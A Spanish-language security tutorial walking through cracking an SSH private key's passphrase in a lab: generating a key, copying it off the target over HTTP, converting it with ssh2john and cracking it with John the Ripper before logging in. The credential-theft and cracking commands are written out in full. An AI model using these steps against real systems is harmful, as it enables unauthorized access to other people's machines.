Secure Shell es uno de los protocolos de red más comunes, generalmente utilizado para administrar máquinas remotas a través de una conexión cifrada. Sin embargo, SSH es propenso a la fuerza bruta de contraseñas. La autenticación basada en claves es mucho más segura, y las claves privadas incluso se pueden cifrar para mayor seguridad. Pero incluso eso no es a prueba de balas, ya que las contraseñas de clave privada SSH se pueden descifrar con John the Ripper.

Autenticación basada en clave SSH

La forma estándar de conectarse a una máquina a través de SSH utiliza autenticación basada en contraseña . Esto tiene la ventaja de ser más fácil de configurar, pero sufre en cuanto a la seguridad debido a que es propenso a la fuerza bruta y la adivinación de contraseñas.

La autenticación basada en claves, por otro lado, utiliza criptografía para garantizar conexiones seguras. Se genera un par de claves que consta de una clave pública y una privada. La clave privada debe mantenerse en secreto y se usa para conectarse a máquinas que tienen la clave pública coincidente.

La clave pública se utiliza para cifrar la comunicación que solo la clave privada asociada puede descifrar. Esto hace que sea casi imposible que los piratas informáticos comprometan las sesiones SSH a menos que tengan acceso a la clave privada.

Los pasos a continuación asumen que ya obtuvo acceso a una computadora de destino desde su máquina local. Estoy usando Kali Linux como caja local.

Paso 1Crear un nuevo usuario en el destino
Para comenzar, vamos a crear un nuevo usuario en el objetivo con fines de demostración. Use el comando adduser e ingrese una nueva contraseña cuando se le solicite:

target:~$ sudo adduser nullbyte

Adding user `nullbyte' ...
Adding new group `nullbyte' (1003) ...
Adding new user `nullbyte' (1003) with group `nullbyte' ...
Creating home directory `/home/nullbyte' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
A continuación, verifique que la información sea correcta. Está bien dejar todo en blanco:

Changing the user information for nullbyte
Enter the new value, or press ENTER for the default
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [y/N] y
Podemos verificar que el nuevo usuario se agregó correctamente al ver /etc/passwd:

target:~$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
nullbyte:x:1003:1003:,,,:/home/nullbyte:/bin/bash
Ahora podemos cambiar a nuestro nuevo usuario con el comando su :

target:~$ su - nullbyte

Password:
nullbyte@target:~$

Paso 2Generar un par de claves en el objetivo
Lo siguiente que debemos hacer es generar un par de claves pública/privada. La utilidad ssh-keygen puede encargarse fácilmente de esto por nosotros. Use la ubicación predeterminada, que creará el archivo en nuestro directorio de inicio:

nullbyte@target:~$ ssh-keygen

Generating public/private rsa key pair.
Enter file in which to save the key (/home/nullbyte/.ssh/id_rsa):
Created directory '/home/nullbyte/.ssh'.
Queremos que nuestra clave privada esté encriptada, así que asegúrese de ingresar una contraseña cuando se le solicite (usaremos la contraseña abc123 solo para mantenerlo simple):

Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/nullbyte/.ssh/id_rsa.
Your public key has been saved in /home/nullbyte/.ssh/id_rsa.pub.
The key fingerprint is:
1b:01:68:cc:ea:4f:8e:b5:08:72:17:50:32:1b:98:e6 nullbyte@target
Ahora podemos cambiar al directorio SSH oculto :

nullbyte@target:~$ cd .ssh/
Y verifica que nuestras llaves estén ahí:

nullbyte@target:~/.ssh$ ls -la

total 16
drwx------ 2 nullbyte nullbyte 4096 2019-06-19 13:49 .
drwxr-xr-x 3 nullbyte nullbyte 4096 2019-06-19 13:46 ..
-rw------- 1 nullbyte nullbyte 1743 2019-06-19 13:49 id_rsa
-rw-r--r-- 1 nullbyte nullbyte  405 2019-06-19 13:49 id_rsa.pub
También necesitaremos crear un archivo authorized_keys para asegurarnos de que podemos conectarnos desde nuestra otra máquina:

nullbyte@target:~/.ssh$ touch authorized_keys
Configure los permisos apropiados para asegurarse de que solo nuestro usuario pueda leer y escribir el archivo:

nullbyte@target:~/.ssh$ chmod 600 authorized_keys
La clave pública debe ir en este archivo, así que explícalo:

nullbyte@target:~/.ssh$ cat id_rsa.pub

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7IATfm6Y2VDtlEkWNGLJ5r9z9euOD1mHcWeB4vCcY+9M+XTEkILb8gk0/0uaNrLfBgcrZi8Y15wIib8122KYfwVIxVn0kbp5sggo4ZZQ9AXAPsdXyP8iIhCdbu34QkEu+pdq1jjK2QKbJRhRt4woAKGXxpApGfWdbyDdElo001VjjmDIpUwKU695YlF98baOlxgUdtW+zhL8J2W6cABeQEO3pXaiu560mJxSfRX8J++5djHiwJ9LMQAVD8khrvYfmnExeT1CuhNcbxdD/kU64ccV0zhecUQgXR1zEY/tWVdJL8wWfUnHWza2BiYqCeEhIdKGlVLvPUx5LbihLUFdCw== nullbyte@target
Y cópielo en el archivo authorized_keys, asegurándose de que no haya saltos de línea ni espacios adicionales:

nullbyte@target:~/.ssh$ nano authorized_keys

Paso 3Obtenga la clave privada en la máquina local
En este punto, necesitamos obtener la clave privada (id_rsa) en nuestra máquina local. Esto puede suceder a través de una variedad de escenarios, como si tuviéramos acceso de lectura debido a LFI o incluso la inyección de comandos que nos permite ejecutar ciertos comandos.
Para fines de demostración, simplemente lo transferiremos a través de HTTP. Siempre es una buena idea verificar qué versión de Python , si es que hay alguna, está instalada:

nullbyte@target:~/.ssh$ which python

/usr/bin/python
Podemos activar un servidor HTTP rápido con el siguiente comando:

nullbyte@target:~/.ssh$ python -m SimpleHTTPServer

Serving HTTP on 0.0.0.0 port 8000 ...
En nuestra máquina local, podemos usar wget para capturar el archivo:

~# wget http://10.10.0.50:8000/id_rsa

--2020-04-15 12:19:39--  http://10.10.0.50:8000/id_rsa
Connecting to 10.10.0.50:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1743 (1.7K) [application/octet-stream]
Saving to: ‘id_rsa’

id_rsa                                    100%[=====================================================================================>]   1.70K  --.-KB/s    in 0.001s

2020-04-15 12:19:49 (2.18 MB/s) - ‘id_rsa’ saved [1743/1743]
Y verificar su contenido:

~# cat id_rsa

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,9A447029ABFAC605

WiRuWyOFt8x+eCwBIbRdhpa8pm1YIuBIC1Od73vslxlIcYYkSz8AqCr8k/sus6uY
JHHO6KXjkJCpH/okU9bWGPzQf1cj2jWFf/y7EOSmd1e7RbIA8xWYcAWKPhnvwgnu
z+d6SFSYyj4rkKUvqloclKCblp6M5sCza0YksTzmEJZz/tHWRwHGRG31TvJHiqxQ
n9FpriG5MqZoegcYJgvt+z9rrPNf/jaZZb9ulYwxRn+5nCbWqBilu/Mh5knN608c
uW2UyIlyJ2BpyYrOgqadTkMgIwrwERrbU6LmgVtZXCc6/cACdMwdu6gv17MtfOlM
ytzEZ66aa98EFrFfuFX2LgoOBpi4nAAo3yZ7ISWpWnbnPFzhT89gBAdruh8fo5X4
07gAajsTiJrCW2nZSqBFx4BTAqYP7IcvDv2iAUEg6bfqC2bqpIfjYYcLuy0+YQv4
7uNH9jpT+ZfOY6VK4oG1p+1ieOVothNxcoj0+StUL5i5dQYoW9te8z8+qqswAE9S
aobSSQAUvdNh07XH0TXg+QTsiJGLNMaWmwMBw50WkzJOwN759zuk2b1LbHTpsgbQ
AngfcMfoHOvlhnHZNSbCeDB9SzQwkhLnQ6CktQaQaa5AY/E2ll+/W0Dmr4QEhk7e
z30FE3QqZU7fqxx7esXTMm8z6lvhQNSWRRxsg48rHub+Mq739T+Yi7xK4C9SCzwe
7BYDqp2ekinCf+5OKf3UObNo5Cugb3viapDKHyWulH+dXdxSkLUsgzDoFdFz0H3m
wvc8Qfn0JoVWFxwd1J3B32ZcEIneeGyotrODz5bRmqLv/T7mdM/HRASdonTROEPn
G+Mv65R+MRiAhRIIZO3a8J8eSAzq3AVBuq+gbLabnNvGY2N7KSQ3OBV4XSDYS43R
HuRz2u1GI+sXOr7ZXoQeKbl9qoymRvpppf5kI5IrQBoHGF92GGVLBGJOBg9M/YNc
mLNm9lz2Y+9LmHU6lgq51a7ZfViVFvj+Us63DoSgdyHvC2oj2zWPOFf9Dm4r8aCO
bFS2BFb7UvBd/G2GxnYFKygTHZhPmZ2y/5fBBF5IA/rbQdE5SqC2MJmB0oOgB07v
csqQ5tX8guIxOnh/KHocR/B8Fwf90shrOWoVC0kqGZJN5PrepzPCvoMcJLknC0Q8
eUinaZ0r3UCv7z0gjlz66qWERIMlUczBnLALRf4nVkfP3NHrLinZooGnOh7pkXpm
mg2qTXWnJ+vwfEDb4M0DYOFKa/AxO2wWsCuvc7ZJYvZL2HSWNVl6fRcFTWbrbIr/
ajTfjIclAonNYgGxoDAQKtSSolrNdOquemW79evgdAN/Jtbp5irV3bG0hTcJSIPp
kVBSXe3pslX6BUeOPl9KFT9CNxIjNFZkJ/gUxIV9LOIEcmHCB04iGVFl/KQA2FWD
27fOZbQPG/h4XC6Zm2iGU7ub0FNA2rId1ZRXlE04gYu5g/nmnAOlSbcqcN+xoMmh
L31FphscezkNda/Fw70+y/5buYGSs4tMsUKuiTkZsqSW9j3R9I/7KLHbpKX7fI7n
OURnUxXvDLoXihVQ9kTgTJM6d8pbHYuda4po2IvXWqdnbtHP7Ezz4A==
-----END RSA PRIVATE KEY-----

Paso 4Instale SSH2John en la máquina local
A menos que esté instalada la versión jumbo de John the Ripper , necesitaremos descargar ssh2john de GitHub, ya que no está incluido en la versión de John the Ripper que está instalada en Kali Linux. (Si no tiene instalado John the Ripper, puede averiguar cómo instalarlo desde su GitHub ).

~# wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py

--2020-06-07 12:26:03--  https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/ssh2john.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 199.232.28.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|199.232.28.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7825 (7.6K) [text/plain]
Saving to: ‘ssh2john.py’

ssh2john.py                               100%[=====================================================================================>]   7.64K  --.-KB/s    in 0s

2020-06-07 12:26:04 (21.2 MB/s) - ‘ssh2john.py’ saved [7825/7825]

Paso 5Descifrar la clave privada en la máquina local
Todo lo que tenemos que hacer es ejecutarlo contra la clave privada y dirigir los resultados a un nuevo archivo hash usando la herramienta Python ssh2john:

~# python ssh2john.py id_rsa > id_rsa.hash
A continuación, usaremos a John para descifrar la contraseña. Pero primero, necesitamos una lista de palabras adecuada ; Usaremos uno corto que ya contenga nuestra contraseña para mantenerlo simple. Consíguelo desde aquí:

~# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/darkweb2017-top10.txt

--2020-06-07 12:30:54--  https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/darkweb2017-top10.txt
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 199.232.28.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|199.232.28.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 81 [text/plain]
Saving to: ‘darkweb2017-top10.txt’

darkweb2017-top10.txt                     100%[=====================================================================================>]      81  --.-KB/s    in 0s

2020-06-07 12:30:55 (2.28 MB/s) - ‘darkweb2017-top10.txt’ saved [81/81]
Ahora ejecute John como de costumbre, alimentándolo con la lista de palabras y el archivo hash:

~# john --wordlist=darkweb2017-top10.txt id_rsa.hash

Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
abc123           (id_rsa)
1g 0:00:00:00 DONE (2020-06-07 12:32) 1.562g/s 15.62p/s 15.62c/s 15.62C/s 123456..123123
Session completed
Podemos ver que identificó nuestra contraseña, pero solo para estar seguros, usemos el comando --show para verificar:

~# john --show id_rsa.hash

id_rsa:abc123

1 password hash cracked, 0 left

Paso 6SSH en el destino
Podemos SSH en el objetivo usando la opción -i para especificar una clave privada para la autenticación:

~# ssh -i id_rsa nullbyte@10.10.0.50

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
nullbyte@10.10.0.50's password:
Y obtenemos un error. No nos permitirá usar la clave si los permisos son demasiado abiertos, por lo que todo lo que tenemos que hacer es configurar los permisos para que sean más restringidos:

~# chmod 400 id_rsa
Ahora podemos conectarnos. Luego, ingrese la contraseña descifrada en el indicador y estamos en:

~# ssh -i id_rsa nullbyte@10.10.0.50

Enter passphrase for key 'id_rsa':
Linux 2.6.24-16-server #1 SMP Tue July 07 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Fri Jun 19 15:20:16 2020 from 10.10.0.1
nullbyte@target:~$

Terminando

En este tutorial, aprendimos sobre la autenticación basada en claves SSH y cómo descifrar contraseñas de claves privadas. Primero, creamos un nuevo usuario en el sistema de destino y generamos un par de claves SSH. Luego, obtuvimos la clave privada del objetivo y usamos ssh2john para extraer el hash. Finalmente, desciframos la contraseña de la clave privada y la usamos para conectarnos al objetivo.